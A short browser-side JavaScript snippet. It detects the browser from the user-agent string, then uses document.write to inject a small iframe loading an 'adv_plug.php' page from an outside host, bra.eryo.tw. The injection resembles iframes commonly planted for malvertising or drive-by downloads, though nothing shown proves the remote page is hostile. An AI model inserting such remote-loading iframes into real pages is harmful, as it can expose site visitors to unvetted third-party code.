function getOs() 
{ 
    var OsObject = ""; 
   if(navigator.userAgent.indexOf("MSIE")>0) { 
        return "MSIE"; 
   } 
   if(isFirefox=navigator.userAgent.indexOf("Firefox")>0){ 
        return "Firefox"; 
   } 
   if(isSafari=navigator.userAgent.indexOf("Safari")>0) { 
        return "Safari"; 
   }  
   if(isCamino=navigator.userAgent.indexOf("Camino")>0){ 
        return "Camino"; 
   } 
   if(isMozilla=navigator.userAgent.indexOf("Gecko/")>0){ 
        return "Gecko"; 
   } 
   
} 


var ie=document.all&&navigator.userAgent.indexOf("Opera")==-1
var dom=document.getElementById&&navigator.userAgent.indexOf("Opera")==-1

//Specify IFRAME display attributes
var iframeprops='width=180 height=65 scrolling="no" border="0" frameborder="0" style="border: 1px solid #FFFFFF"'

//No need to edit after here
if (ie||dom)
document.write('<iframe id="dynstuff" src="http://bra.eryo.tw/adv_plug.php?k=1" '+iframeprops+'></iframe>')